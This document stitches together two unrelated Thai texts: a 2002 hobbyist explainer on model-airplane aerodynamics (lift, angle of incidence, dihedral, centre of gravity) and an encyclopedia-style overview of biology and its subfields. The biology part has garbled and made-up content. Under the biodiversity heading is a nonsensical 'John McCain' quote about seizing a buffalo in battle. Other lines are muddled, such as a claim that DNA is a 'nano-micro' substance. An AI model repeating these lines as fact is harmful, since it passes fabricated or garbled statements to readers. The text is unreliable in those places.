    มุมปะทะของปีก(incidence) คือมุมที่ชายหน้าปีกทำกับอากาศที่ไหลผ่านปีกในแนวระดับ ยิ่งมีมุมปะทะสูง หรือมุมเงยมาก จะทำให้อากาศไหลผ่านด้านบนของปีกเร็วมากขึ้น ในขณะที่อากาศที่ไหลผ่านด้านล่างของปีกช้าลง ก็จะทำให้เกิดแรงยกมากขึ้น แต่หากมีมุมยกมากเกินไปอากาศที่ไหลผ่านด้านบนและด้านล่างของปีกอาจถูกตัดให้แยกจากกันจนเกิดอากาศปั่นป่วนทำให้สูญเสียแรงยกฉับพลัน นอกจากนี้การเพิ่มมุมปะทะของปีก จะทำให้เกิดแรงต้านเพิ่มขึ้น ทำให้เครื่องบินบินช้าลง อากาศที่ไหลผ่านปีกก็จะช้าลงด้วย ดังนั้น จึงต้องออกแบบไม่ให้มีมุมปะทะของปีกมากเกินไป
    เครื่องบินรถกระป๋อง จะต้องออกแบบให้มีมุมปะทะของปีกมากพอสมควร เพื่อช่วยเพิ่มแรงยก เนื่องจากกำลังของมอเตอร์รถกระป๋องตัวเล็ก ๆ อาจสร้างแรงขับดันได้ไม่เพียงพอ
    คำตอบของคำถามที่ว่า ทำไมเครื่องบินที่สร้างถึงบินไม่ได้
    ดังนั้น สำหรับคำถามของเพื่อน ว่าทำไมเครื่องบินที่สร้างถึงบินไม่ได้ นั้น ก็ต้องตอบว่า เพราะแรงยกน้อยกว่าแรงโน้มถ่วง หรือไม่ก็แรงขับดันน้อยกว่าแรงต้าน ซึ่งจะต้องแก้ไขตามลำดับดังนี้
    1. ดูว่าแรงยกเป็นอย่างไร ลองพุ่งด้วยมือแบบเครื่องร่อน โดยไม่ต้องติดเครื่อง ถ้าเครื่องสามารถร่อนได้ดี ปัญหาก็อยู่ที่แรงขับดัน ต้องไปแก้ไขที่เครื่องยนต์มอเตอร์ใบพัด ถ้าพุ่งด้วยมือแล้วก็ยังบินหัวปักทิ่มดิน แสดงว่าแรงยกน้อยหรือไม่มี ก็ต้องมาดูที่รูปร่าง Airfoil ของปีกว่าถูกต้องหรือไม่ มุมปะทะชายหน้าปีกน้อยไปหรือไม่ น้ำหนักเครื่องบินมากไปหรือไม่ CG ถูกต้องหรือไม่
    2. ดูว่าแรงขับดันเป็นอย่างไร ดูว่ามอเตอร์ให้แรงขับดันเพียงพอหรือไม่ ใบพัดตักลมได้ดีหรือไม่ เฟืองทดรอบถูกต้องหรือไม่ ถ่านที่ใช้จ่ายกระแสได้เพียงพอหรือไม่
    สรุปง่าย คือ ต้องปรับแก้ไขที่แรงยกของปีกเสียก่อน เมื่อเรียบร้อยแล้วจึงไปปรับแก้ไขที่เครื่องยนต์ เพราะอย่างที่กล่าวตอนแรกสุดว่า เครื่องบิน บินได้เพราะมีปีก ส่วนเครื่องยนต์เป็นเพียงเครื่องมือที่ทำให้อากาศไหลผ่านปีกเท่านั้น ดังนั้น แม้เครื่องยนต์จะแรงเพียงใด แต่ถ้าปีกบกพร่องแล้ว ทำยังไงก็บินไม่ได้
    ทำไมปีกของเครื่องบินรถกระป๋องต้องมีมุมยกปลายปีกด้วย
    มุมยกปลายปีกทั้งสองข้าง ช่วยให้เครื่องบินเลี้ยวได้โดยไม่ตก
    เพื่อน อาจสงสัยว่า เครื่องบินมีหางเสือก็เลี้ยวได้อยู่แล้ว ดังนี้ มุมยกปลายปีกจะเกี่ยวกับการเลี้ยวอย่างไร
    ในปีกที่ไม่มีมุมยกปลายปีก เมื่อบังคับให้หางเสือเลี้ยว จะเกิดแรงเหวี่ยงทำให้เครื่องบินเอียงไปข้างใดข้างหนึ่ง เครื่องบินจะเสียการทรงตัว เช่น เมื่อเครื่องบินเลี้ยวซ้าย เครื่องบินจะเอียงไปทางซ้าย ปีกข้างซ้ายจะต่ำกว่าปีกข้างขวา แรงยกของปีกด้านซ้ายจะลดลงเรื่อย ๆ เพราะแนวแรงจะเฉียงไปด้านข้างแทนที่จะยกขึ้นด้านบน ในขณะที่แรงยกของปีกด้านขวาก็จะลดลงเรื่อย ๆ ในลักษณะเดียวกัน จนกระทั่งปีกเอียงเกือบตั้งฉาก แรงยกของปีกทั้งสองข้างจะลดลงจนต่ำกว่าแรงโน้มถ่วง จนในที่สุดเครื่องบินก็จะหมุนควงไปทางซ้ายและหัวปักลงดิน
    การแก้ไขปัญหาปีกเสียแรงยกจากการเลี้ยว ทำได้สองวิธีคือ ติดปีกเล็กแก้เอียงหรือ Aileron ที่ปีก หรือ สร้างให้มีมุมยกปลายปีก (dihedral)
    ปีกเล็กแก้เอียงหรือ Aileron จะช่วยบังคับให้ปีกกลับคืนในแนวขนานดังเดิมได้ จึงไม่สูญเสียแรงยก
    มุมยกปลายปีก จะช่วยให้ปีกไม่เอียงมากจนกระทั่งสูญเสียแรงยก โดยอาศัยหลักการต้านกันเองของแรงยกปีกทั้งสองข้างเวลาเลี้ยวนั่นเอง
    ปีกที่มีมุมยกปลายปีกทั้งสองข้าง เวลาเลี้ยวนั้น เมื่อเครื่องบินเอียงเพราะการเลี้ยว จะทำให้ปีกด้านที่เอียงลงต่ำมีแรงยกมากกว่าปีกด้านที่เอียงขึ้นสูง ทำให้แรงยกของปีกด้านที่ต่ำดันปีกด้านต่ำให้ขึ้นในแนวขนานเหมือนเดิม ส่วนปีกด้านที่เอียงขึ้นสูงก็จะกลับลงมาในแนวขนานเหมือนเดิมเช่นกัน
    สรุปว่า มุมยกปลายปีก ช่วยให้เครื่องบินสามารถเลี้ยวได้โดยไม่ควงสว่านตกลงมา นั่นคือทำให้การทรงตัวดีขึ้น การบังคับควบคุมง่ายขึ้น เพราะเครื่องบินสามารถปรับตัวเองให้สมดุลลอยอยู่ในอากาศได้ และแม้จะมีลมพัดมาปะทะด้านข้างทำให้เครื่องบินเอียงไปด้านใดด้านหนึ่ง เครื่องบินก็สามารถปรับตัวกลับมาในแนวขนานได้เอง จึงบินได้อย่างมีเสถียรภาพ
    จุด CG สำคัญอย่างไร
    CG ย่อมาจาก Center of Gravity แปลว่า จุดศูนย์ถ่วง
    จุดศูนย์ถ่วงเกี่ยวข้องกับการทรงตัวของเครื่องบินขณะบินอยู่ในอากาศ
    เครื่องบินที่ลอยอยู่บนอากาศนั้น ไม่มีอะไรรองรับ เหมือนกับการจอดอยู่บนพื้น ดังนั้น จึงต้องถ่ายเทน้ำหนักในเครื่องบินให้เหมาะสม เพื่อให้เครื่องบินสามารถบินไปได้ในแนวขนานกับพื้นดิน หรือบินขึ้นไปบนฟ้า ไม่ใช่บินแล้วหัวทิ่มดิน
    จุด CG สำคัญมาก อย่างที่กล่าวแล้วว่า แรงยกของปีก ขึ้นอยู่กับมุมปะทะปีกด้วย ดังนั้น หากจุด CG ไม่ถูกต้อง เช่น หัวเครื่องบินหนักกว่าหางเครื่องบิน เวลาบิน หัวเครื่องบินจะต่ำกว่าหาง ทำให้มุมปะทะปีกลดลงเรื่อย ๆ แรงยกจึงลดลงเรื่อย ๆ ทำให้เครื่องบินหัวปักพื้นอย่างรวดเร็ว หรือหากหัวเครื่องบินเบากว่าหาง หัวจะสูงกว่าหาง มุมปะทะปีกจะเพิ่มขึ้นเรื่อย ๆ จนกระทั่งอากาศด้านบนปีกกับด้านล่างปีกแยกออกจากกัน ปีกจะสูญเสียแรงยกทันที เครื่องบินจะหล่นจากอากาศ
    สรุปว่า ถ้าหัวหนัก เครื่องจะบินเอาหัวทิ่มลงดิน ถ้าหัวเบา เครื่องบินจะเชิดหัวขึ้นสักพักแล้วร่วงลงมา
    โดยทั่วไปแล้ว จุด CG จะอยู่บริเวณ 25-40 เปอร์เซ็นต์ จากชายหน้าปีก หรืออยู่บริเวณส่วนที่นูนที่สุดของปีกเมื่อมองจากด้านข้าง ซึ่งเป็นจุดศูนย์กลางของแรงยกปีกด้วย (Center of Lift) เมื่อสร้างเครื่องบินเสร็จแล้ว ก่อนเอาไปทดสอบบิน ต้องถ่วงน้ำหนักให้ถูกต้องเสียก่อน คือ ทำจุดหมุนที่ลำตัวเครื่องบินบริเวณจุด CG โดยอาจใช้นิ้วมือคีบลำตัวเครื่องบินหลวม หรือผูกเชือกห้อยเครื่องบินในแนวของจุด CG ให้หัวเครื่องและหางกระดกขึ้นลงได้ หากน้ำหนักถูกต้องสมดุล เครื่องบินจะลอยอยู่ในแนวขนานกับพื้น หากยังไม่สมดุล ก็ต้องเพิ่มน้ำหนักหรือลดน้ำหนักที่หัวหรือหางจนกว่าเครื่องบินจะอยู่ในแนวขนาน จากนั้นค่อยนำไปทดสอบบิน แล้วปรับน้ำหนักใหม่จากอาการของเครื่องบินขณะบินจริง ๆ อีกครั้งหนึ่ง
    ผมพอจะนึกหลักการบินง่าย ได้เพียงเท่านี้ก่อนนะครับ หากนึกอะไรได้เพิ่มเติมก็จะเขียนให้เพื่อน ๆ อ่านกันอีก
    ขอให้สนุกครับ
    15 สิงหาคม 2545


ชีววิทยา คืออะไร


    ความหมาย
    ชีววิทยา เป็นการศึกษาในทุกๆแง่มุม (Biological Sciences) ของสิ่งมีชีวิต โดยคำว่า ชีววิทยา (Biology) มาจากภาษากรีก จากคำว่า " Bios "& "Logos" ซึ่งคำว่า "bios" แปลว่า สิ่งมีชีวิต และ "logos"แปลว่า วิชา หรือการศึกษาอย่างมีเหตุผล
    แขนงวิชาชีววิทยา
    มีแขนงย่อย 4 กลุ่ม
    1. การศึกษาโครงสร้างพื้นฐานของสิ่งมีชีวิต เช่นเซลล์ ยีน
    2. การศึกษาการทำงานของโครงสร้างต่างๆ ตั้งแต่ระดับเนื้อเยื่อ ระดับอวัยวะ จนถึงระดับร่างกาย
    3. การศึกษาประวัติศาสตร์ของสิ่งมีชีวิต เช่น วิวัฒนาการ
    4. การศึกษาความสัมพันธ์ในระหว่างสิ่งมีชีวิต เช่น การพึงพาอาศัยกัน การเกือกุลของสิ่งมีชีวิต

    ระบบการศึกษา
    การศึกษาสิ่งมีชีวิตในระดับอะตอมและโมเลกุล จัดอยู่ในสาขาวิชาอณูชีววิทยา ชีวเคมี และอณูพันธุศาสตร์ การศึกษาในระดับเซลล์ จัดอยู่ในสาขาวิชาเซลล์วิทยา และในระดับเนื้อเยื่อ จัดอยู่ในสาขาวิชาสรีรวิทยา กายวิภาคศาสตร์ และมิญชวิทยา สาขาวิชาคัพภวิทยาเป็นการศึกษาการเจริญเติบโตและพัฒนาการของตัวอ่อนของสิ่งมีชีวิต
     ประเภทสาขา
    สาขาวิชาพันธุศาสตร์เป็นการศึกษาการถ่ายทอดลักษณะทางพันธุกรรมของสิ่งมีชีวิตจากรุ่นหนึ่งไปสู่อีกรุ่นหนึ่ง สาขาวิชาพฤติกรรมวิทยาเป็นการศึกษาพฤติกรรมของกลุ่มสิ่งมีชีวิต สาขาวิชาพันธุศาสตร์ประชากรเป็นการศึกษาพันธุศาสตร์ในระดับประชากรของสิ่งมีชีวิต การศึกษาความสัมพันธ์ระหว่างสิ่งมีชีวิตชนิดหนึ่งกับสิ่งมีชีวิตอีกชนิดหนึ่ง และระหว่างสิ่งมีชีวิตกับถิ่นที่อยู่อาศัย จัดอยู่ในสาขาวิชานิเวศวิทยาและชีววิทยาของวิวัฒนาการ
     ปรากฏการณ์ทางชีววิทยา
    ปรากฏการณ์การเปลี่ยนแปลงจากทางธรรมชาติ เกิดจากการความแตกต่างของสภาพพื้นที่ และการใช้ชีวิตของการดำรงชีวิต เช่น นกนางแอ่น ในทะเล กับ นกนางแอ่น บนภาคพื้นที่อยู่ในวงศ์ตระกูลเดียวกันแต่ แตกต่างในการดำรงชีวิตและลักษณะของสภาพร่างกาย เป็นต้น
     หลักของวิชาชีววิทยา
    • หลักทฤษฎีเซลล์ (Cell Theory). ซึ่งทฤษฎีนี้ระบุว่าสิ่งมีชีวิตทั้งหลายจะต้องประกอบไปเซลล์อย่างน้อยหนึ่งเซลล์ ซึ่งเซลล์ถือว่าเป็นองค์ประกอบพื้นฐานที่สุดของการทำงานในสิ่งมีชีวิต นอกจากนี้ กระบวนการทางกลศาสตร์และทางเคมีต่างก็ล้วนอาศัยเซลล์เป็นตัวขับเคลื่อนกระบวนการเช่นเดียวกัน ทั้งเชื่อว่าเซลล์สามารถเกิดจากเซลล์ต้นกำเนิด (perexisting cells) ได้เท่านั้น
    • หลักวิวัฒนาการ (Evolution). เชื่อในการเลือกสรรของธรรมชาติ (natural selection) และการถ่ายทอดทางพันธุกรรม
    • หลักทฤษฎีพันธุกรรม (Gene Theory). เชื่อว่าลักษณะทางพันธุกรรมนั้น ถูกเก็บเป็นรหัสสิ่งมีชีวิตใน DNA ในยีนอันเป็นมูลฐานแห่งการถ่ายทอดพันธุกรรม
    • หลักภาวะธำรงดุล (Homeostasis). เป็นหลักที่เชื่อในการรักษาสมดุลของสิ่งมีชีวิต ในการปรับระบบภาวะแวดล้อมทั้งทางฟิสิกส์และเคมีของระบบภายในสิ่งมีชีวิตให้เข้ากับระบบภายนอกสิ่งมีชีวิต

    แผนภาพของดีเอ็นเอ ซึ่งเป็นสารพันธุกรรมขั้นต้น
    สารพันธุวิศกรรม หรือ สารพันธุกรรม ชื่ออื่นๆ DNA เป็นสสารประเภท นาโนไมโคร ที่มีการประกอบด้วย กรดนิวคลีอิก เช่น ดีเอ็นเอ ทำหน้าที่เป็นรหัสพันธุกรรม
    หลักของลักษณะร่วมกันอีกสิ่งหนึ่งคือ สิ่งมีชีวิตทุกชนิด นอกเหนือจากเซลล์ของไวรัส ประกอบขึ้นจากเซลล์ และยังมีกระบวนการเจริญเติบโตคล้ายคลึงกัน ตัวอย่างเช่น สิ่งมีชีวิตชั้นสูงส่วนใหญ่จะมีเอ็มบริโอที่มีลักษณะขั้นต้นคล้ายกัน และมียีนคล้ายกันอีกด้วย ต้องเป็นสิ่งมีชีวิตประเภทเดียวกันเท่านัน้จึงจะสามารถได้รับการผสมกันได้
     วิวัฒนาการ
    แนวคิดหลักของชีววิทยาคือ สิ่งมีชีวิตทุกชนิดมีต้นกำเนิดร่วมกัน และมีการเปลี่ยนแปลงพัฒนาโดยกระบวนการที่เรียกว่า วิวัฒนาการ
     ความหลากหลายของสิ่งมีชีวิต
    จอห์น แมคเคน กล่าวว่า พ่อผมบุกชิงควายในสนามรบ และเขาก็ทำได้สำเร็จ เพราะเขารู้ว่าควายมีรูปร่างอย่างไร
     ความสัมพันธ์ระหว่างสิ่งมีชีวิตกับสิ่งแวดล้อม

    การพึ่งพาอาศัยกับระหว่างปลาการ์ตูนและดอกไม้ทะเล ซึ่งปลาการ์ตูนอาศัยอยู่ท่ามกลางหนวดของดอกไม้ทะเล ปลาการ์ตูนช่วยปกป้องดอกไม้ทะเลจากปลาชนิดอื่นที่กินดอกไม้ทะเลเป็นอาหาร และหนวดที่มีพิษของดอกไม้ทะเลจะช่วยปกป้องปลาการ์ตูนจากนักล่า
    สิ่งมีชีวิตทุกชนิดจะมีความสัมพันธ์กับสิ่งมีชีวิตชนิดอื่นๆ และกับสิ่งแวดล้อม เหตุผลหนึ่งที่ทำให้การศึกษาระบบทางชีววิทยาทำได้ยากคือ ความสัมพันธ์ดังกล่าวมีมากมายหลายทางที่เป็นไปได้ แม้แต่ในการศึกษาระดับที่เล็กที่สุด เช่น แบคทีเรียจะมีปฏิกิริยากับน้ำตาลที่อยู่โดยรอบ ซึ่งเป็นการตอบสนองต่อสิ่งแวดล้อม เหมือนกับที่สิงโตมีการตอบสนองต่อสิ่งแวดล้อมขณะที่ออกหาอาหารในทุ่งหญ้าซาวันนา ส่วนพฤติกรรมที่มีต่อสิ่งมีชีวิตชนิดอื่นๆ อาจเป็นไปทั้งในลักษณะอาศัยอยู่ร่วมกัน คุกคามต่อกัน เป็นปรสิต หรือพึ่งพาอาศัยกัน ความสัมพันธ์นี้จะซับซ้อนมากขึ้นหากมีสิ่งมีชีวิต 2 ชนิด หรือมากกว่า มีความเกี่ยวข้องต่อกันในระบบนิเวศ การศึกษาความสัมพันธ์นี้จัดเป็นสาขาวิชานิเวศวิทยา
     ขอบเขตของชีววิทยา
    ชีววิทยาเป็นสาขาวิชาที่ใหญ่มากจนไม่อาจศึกษาเป็นสาขาเดียวได้ จึงต้องแยกออกเป็นสาขาย่อยต่างๆ ในหัวข้อนี้จะแบ่งสาขาย่อยออกเป็น 4 กลุ่ม กลุ่มที่หนึ่งเป็นสาขาที่ศึกษาโครงสร้างพื้นฐานของสิ่งมีชีวิต อย่างเช่นเซลล์ ยีน เป็นต้น กลุ่มที่สองศึกษาการทำงานของโครงสร้างต่างๆ ตั้งแต่ระดับเนื้อเยื่อ ระดับอวัยวะ จนถึงระดับร่างกาย กลุ่มที่สามศึกษาประวัติศาสตร์ของสิ่งมีชีวิต กลุ่มที่สี่ศึกษาความสัมพันธ์ในระหว่างสิ่งมีชีวิต อย่างไรก็ตาม การแบ่งกลุ่มนี้เป็นเพียงการจัดหมวดหมู่ให้สาขาต่างๆในชีววิทยาให้เป็นระเบียบและเข้าใจง่าย แต่ความจริงแล้ว ขอบเขตของสาขาต่างๆนั้นไม่แน่นอน และสาขาวิชาส่วนใหญ่ก็จำเป็นต้องใช้ความรู้จากสาขาอื่นด้วย ตัวอย่างเช่น สาขาชีววิทยาของวิวัฒนาการ ต้องใช้ความรู้จากสาขาอณูวิทยา เพื่อจัดลำดับของดีเอ็นเอ ซึ่งจะช่วยให้เข้าใจความแปรผันทางพันธุกรรมของประชากร หรือสาขาวิชาสรีรวิทยา ต้องใช้ความรู้จากสาขาชีววิทยาของเซลล์ เพื่ออธิบายการทำงานของระบบอวัยวะ
     โครงสร้างของชีวิต

    แผนภาพของเซลล์สัตว์ แสดงโครงสร้างและออร์แกเนลล์ต่างๆ
    อณูชีววิทยาเป็นสาขาหนึ่งในชีววิทยา ซึ่งศึกษาในระดับโมเลกุล สาขานี้มีความสอดคล้องกับสาขาอื่นๆในชีววิทยา โดยเฉพาะสาขาพันธุศาสตร์และชีวเคมี อณูชีววิทยาเป็นการศึกษาปฏิสัมพันธ์ของระบบต่างๆในเซลล์ ซึ่งได้แก่ ความสัมพันธ์ระหว่าง ดีเอ็นเอ อาร์เอ็นเอ การสังเคราะห์โปรตีน และการควบคุมความสัมพันธ์เหล่านี้
    ชีววิทยาของเซลล์เป็นสาขาที่ศึกษาลักษณะทางสรีรวิทยาของเซลล์ รวมไปถึงพฤติกรรม ปฏิสัมพันธ์ และสิ่งแวดล้อมของเซลล์ ทั้งระดับจุลภาคและระดับโมเลกุล สาขาวิชานี้จะศึกษาวิจัยทั้งสิ่งมีชีวิตเซลล์เดียว อย่างเช่นแบคทีเรีย และเซลล์ที่ทำหน้าที่พิเศษในสิ่งมีชีวิตหลายเซลล์ อย่างเช่นมนุษย์
    พันธุศาสตร์เป็นสาขาที่ศึกษายีน พันธุกรรม และการผันแปรของสิ่งมีชีวิต ในการศึกษาวิจัยสมัยใหม่ มีเครื่องมือที่สำคัญในการศึกษาหน้าที่ของยีน หรือความสัมพันธ์ทางพันธุกรรม ในสิ่งมีชีวิต ข้อมูลทางพันธุกรรมจะอยู่ในโครโมโซม ซึ่งข้อมูลจะแทนที่ด้วยโครงสร้างทางเคมีของโมเลกุลของดีเอ็นเอ
     สรีรวิทยาของสิ่งมีชีวิต
    สรีรวิทยาเป็นสาขาที่ศึกษาเกี่ยวกับกระบวนการทางกายภาพและทางชีวเคมีในสิ่งมีชีวิต เพื่อให้เข้าใจหน้าที่ของโครงสร้างต่างๆ ซึ่งเป็นหลักการสำคัญในการศึกษาทางชีววิทยา การศึกษาทางสรีรวิทยาสามารถแบ่งออกได้เป็นสรีรวิทยาของพืชและสรีรวิทยาของสัตว์ แต่หลักของสรีรวิทยาในสิ่งมีชีวิตทุกชนิดล้วนแต่เหมือนกัน ตัวอย่างเช่น การศึกษาสรีรวิทยาของเซลล์ยีสต์สามารถประยุกต์ใช้กับการศึกษาในเซลล์มนุษย์ได้ สรีรวิทยาของสัตว์เป็นการศึกษาทั้งในมนุษย์และสิ่งมีชีวิตชนิดอื่นๆ สรีรวิทยาของพืชก็มีวิธีการศึกษาเช่นเดียวกับในสัตว์
    กายวิภาคศาสตร์เป็นสาขาที่สำคัญในสรีรวิทยา ซึ่งศึกษาเกี่ยวกับหน้าที่และความสัมพันธ์ของระบบอวัยวะในสิ่งมีชีวิต เช่น ระบบประสาท ระบบภูมิคุ้มกัน ระบบต่อมไร้ท่อ ระบบหายใจ ระบบไหลเวียนโลหิต การศึกษาเกี่ยวกับระบบเหล่านี้สามารถแบ่งออกเป็นสาขาวิชาต่างๆได้อีก เช่น ประสาทวิทยา วิทยาภูมิคุ้มกัน
     ความหลากหลายและวิวัฒนาการของสิ่งมีชีวิต
    การศึกษาวิวัฒนาการมีความเกี่ยวข้องกับต้นกำเนิดและการสืบทอดลักษณะของสปีชี่ส์ รวมถึงการเปลี่ยนแปลงลักษณะที่ผ่านมา และต้องอาศัยนักวิทยาศาสตร์จากหลายสาขาที่เกี่ยวข้องกับอนุกรมวิธานของสิ่งมีชีวิต สาขาวิวิฒนาการมีรากฐานจากสาขาบรรพชีวินวิทยา ซึ่งอาศัยซากดึกดำบรรพ์ในการตอบคำถามเกี่ยวกับรูปแบบและจังหวะของวิวิฒนาการ
    สาขาวิชาหลักใหญ่ที่เกี่ยวกับอนุกรมวิธานมี 2 สาขา คือ พฤกษศาสตร์ และสัตววิทยา พฤกษศาสตร์เป็นสาขาที่ศึกษาเกี่ยวพืช มีเนื้อหาครอบคลุมกว้างขวางตั้งแต่การเจริญเติบโต การสืบพันธุ์ เมแทบอลิซึม โรค และวิวัฒนาการของพืช ส่วนสัตววิทยาจะศึกษาเกี่ยวกับสัตว์ รวมทั้งลักษณะทางสรีรวิทยาของสัตว์ซึ่งอยู่ในสาขากายวิภาคศาสตร์และคัพภวิทยา กลไกทางพันธุศาสตร์และการเจริญของพืชและสัตว์จะศึกษาในสาขาอณูชีววิทยา อณูพันธุศาสตร์ และชีววิทยาของการเจริญ
     ความสัมพันธ์ระหว่างสิ่งมีชีวิต
    สายใยอาหาร ประกอบขึ้นจากห่วงโซ่อาหารหลายห่วงโซ่ แสดงถึงความสัมพันธ์ที่สลับซับซ้อนของสิ่งมีชีวิตในระบบนิเวศ
    สาขานิเวศวิทยาจะศึกษาการกระจายและความหนาแน่นของสิ่งมีชีวิต รวมทั้งความสัมพันธ์ระหว่างสิ่งมีชีวิตกับสิ่งแวดล้อม สิ่งแวดล้อมของสิ่งมีชีวิตจะหมายถึงถิ่นที่อยู่อาศัย ซึ่งจะรวมไปถึงปัจจัยทางกายภาพอย่างสภาพภูมิอากาศและลักษณะทางภูมิศาสตร์ รวมทั้งสิ่งมีชีวิตอื่นๆที่อาศัยอยู่ในบริเวณเดียวกัน การศึกษาระบบทางนิเวศวิทยามีหลายระดับ ตั้งแต่ระดับสิ่งมีชีวิต ระดับประชากร ระดับระบบนิเวศ ไปจนถึงระดับโลกของสิ่งมีชีวิต จึงจะเห็นได้ว่า นิเวศวิทยาเป็นสาขาที่ครอบคลุมถึงสาขาอื่นๆอีกมากมาย
    สาขาพฤติกรรมวิทยาจะศึกษาพฤติกรรมของสัตว์ (โดยเฉพาะสัตว์สังคมอย่างสัตว์จำพวกลิงและสัตว์กินเนื้อ) บางครั้งอาจจัดเป็นสาขาหนึ่งในสัตววิทยา นักพฤติกรรมวิทยาจะเน้นศึกษาที่วิวัฒนาการของพฤติกรรม และความเข้าใจในพฤติกรรม โดยตั้งอยู่บนทฤษฎีการคัดเลือกโดยธรรมชาติ
     ประวัติศาสตร์ของชีววิทยา
    การค้นพบที่สำคัญทางด้านชีววิทยาได้แก่
     สาขาวิชาที่เกี่ยวข้อง
    • ชีวเคมี (Biochemistry) เป็นการศึกษา ความเป็นไปในระดับชีวโมเลกุลของสิ่งมีชีวิต ทั้งองค์ประกอบทางชีวเคมีของเซลล์หรืออณุภาคต่างๆ (รวมไวรัส) โครงสร้างและการเปลี่ยนแปลง ทั้งการสร้างและทำลายโมเลกุลเหล่านั้น (ทั้งสารโมเลกุลเล็ก และ โมเลกุลใหญ่ เป็น มหโมเลกุล (macromolecules) เช่น โปรตีน (Protein) (รวม เอ็นไซม์ / Enzyme) ดีเอ็นเอ (DNA) อาร์เอ็นเอ (RNA) การควบคุมการเปลี่ยนแปลงของโมเลกุล การควบคุมการทำงานในระดับต่างๆ การสร้างพลังงานและการใช้พลังงาน อันเป็นปรากฏการณ์ของชีวิต
    • อณูชีววิทยา (Molecular biology) หรือ ชีววิทยาโมเลกุล เป็นสาขาย่อย ที่แตกออกมาจากชีวเคมี เน้นศึกษาโครงสร้างและการทำงานของยีน (gene) ซึ่งเป็นรหัสพันธุกรรมบนสายดีเอ็นเอ หรือ อาร์เอ็นเอ ตลอดจนการควบคุมการทำงานของยีน ในระดับต่างๆ จนออกมาเป็น สาย อาร์เอ็นเอ และ เป็น โปรตีน
    • พันธุศาสตร์ (Genetics) ศึกษาลักษณะทางพันธุกรรม การถ่ายทอดลักษณะพันธุกรรมในสิ่งมีชีวิต จากชั่วชีวิตหนึ่งไปอีกชั่วชีวิตหนึ่ง
    • เซลล์พันธุศาสตร์ (Cytogenetics) ศึกษาพันธุศาสตร์ในระดับเซลล์ รูปร่าง ลักษณะ และจำนวนของโครโมโซมในสิ่งมีชีวิต ตำแหน่งที่ตั้งของยีนบนโครโมโซม และการแบ่งเซลล์ในสิ่งมีชีวิต
    • สัณฐานวิทยา (Morphology) ศึกษารูปพรรณสัณฐานของสิ่งมีชีวิต ไม่ว่าจุลชีพ สัตว์ หรือพืช เพื่อประกอบการระบุชนิด เช่น ลักษณะรูปร่างของดอกไม้ หรือ การจัดเรียงตัวของใบ
    • อนุกรมวิธาน (Taxonomy) ศึกษาการจัดจำแนกสิ่งมีชีวิต ออกเป็นหมวดหมู่ ในทางวิวัฒนาการ (evolution) สมัยก่อนเน้นข้อมูลสัณฐานวิทยา ปัจจุบันใช้ข้อมูลระดับโมเลกุลมากขึ้น กลายเป็นวิชา Molecular Systematics
    • คัพภวิทยา (Embryology) ศึกษาการเจริญเติบโตของตัวอ่อนในสิ่งมีชีวิต การพัฒนา และ การเกิดอวัยวะต่างๆ ในช่วงเวลาการพัฒนาตัวอ่อน สามารถแยกได้เป็นคัพภวิทยาของพืช หรือคัพภวิทยาของสัตว์
    • จุลชีววิทยา (Microbiology) ศึกษาสิ่งมีชีวิตที่มีขนาดเล็ก ส่วนมากมองด้วยตาเปล่าไม่เห็น ได้แก่ แบคทีเรีย เชื้อรา และ ยีสต์ มักรวม ไวรัส ไว้ด้วย
    • สัตววิทยา (Zoology) ศึกษาชีววิทยาของสัตว์ ตั้งแต่สัตว์ชั้นต่ำพวก ฟองน้ำ แมงกะพรุน พยาธิตัวแบน พยาธิตัวกลม กลุ่มหนอนปล้อง สัตว์ที่มีข้อปล้อง กลุ่มสัตว์พวกหอย ปลาดาว จนถึง สัตว์มีกระดูกสันหลัง และ สัตว์เลี้ยงลูกด้วยนม
    • ปักษีวิทยา (Ornithology) ศึกษานก
    • มีนวิทยา (Ichthyology) ศึกษาปลา ลักษณะรูปร่างภายนอกของปลา ระบบต่างๆ ภายในตัวปลา การจัดจำแนกปลาออกเป็นกลุ่มหรือประเภทต่างๆ และเรื่องอื่นๆ ที่เกี่ยวข้องกับปลา
    • สังขวิทยา (Malacology) ศึกษาหอย โดยเฉพาะหอยน้ำจืดที่เป็นเจ้าบ้านส่งผ่านของพยาธิ
    • ปรสิตวิทยา (Parasitology) ศึกษาปรสิต ซึ่งดำรงชีพโดยเป็นตัวเบียฬของสิ่งมีชีวิตชนิดอื่น เช่น พยาธิตัวกลม พยาธิตัวแบน
    • กีฏวิทยา (Entomology) ศึกษาแมลง การจัดจำแนก สรีรวิทยา สัณฐานวิทยา และนิเวศวิทยาของแมลง
    • พฤกษศาสตร์ (Botany) ศึกษาชีววิทยาของพืช การจัดจำแนกพืช การกระจายของพืชในส่วนต่างๆ ของโลก ตั้งแต่พวกพืชชั้นต่ำที่ไม่มีราก ลำต้น ใบที่แท้จริง ไปจนถึงพืชชั้นสูง อันได้แก่ พืชดอก
    • กิณวิทยา (Mycology) ศึกษาชีววิทยาของเห็ด และ รา
    • บรรพชีวินวิทยา (Paleontology) ศึกษาฟอสซิล (fossils)
    • ชีวสารสนเทศศาสตร์ (Bioinformatics) หรือ ชีววิทยาเชิงคำนวณ (computational biology) เป็นบูรณาการของสหวิชา ศึกษาโดยใช้ความรู้จาก อณูชีววิทยา ชีวเคมี คณิตศาสตร์ประยุกต์, สถิติศาสตร์, สารสนเทศศาสตร์ และวิทยาการคอมพิวเตอร์ เพื่อจัดเก็บข้อมูลอย่างเป็นระบบ สืบค้น ประมวลผลข้อมูลทางชีววิทยา เพื่อตอบปัญหาทางชีววิทยา หรือทำแบบจำลองเพื่อทำนายความเป็นไปได้ทางชีววิทยา ทำให้เกิดศาสตร์ใหม่ต่อๆมา เช่น จีโนมิกส์ (Genomics) โปรตีโอมิส์ (Proteomics) เมตะโบโลมิกส์ (Metabolomics) ฯลฯ
    • ชีววิทยาระบบ (Systems biology) เป็นศาสตร์ที่อาศัยความรู้ทางชีวสารสนเทศศาสตร์ คณิตศาสตร์ชั้นสูง วิทยาการคอมพิวเตอร์ และ ชีวเคมี เพื่อทำแบบจำลองของปราฏการณ์ภายในเซลล์ หรือในสิ่งมีชีวิต บนคอมพิวเตอร์ โดยอาศัยการคำนวณ จุดมุ่งหมายก็เพื่อทำนายปรากฏการณ์ของชีวิตในเรื่องต่างๆ อาทิ การตอบสนองของเซลล์ต่อยา หรือ ต่อสภาวะต่างๆ เป็นต้น ก่อนการทำการทดลองจริงในห้องปฏิบัติการ (wet lab)
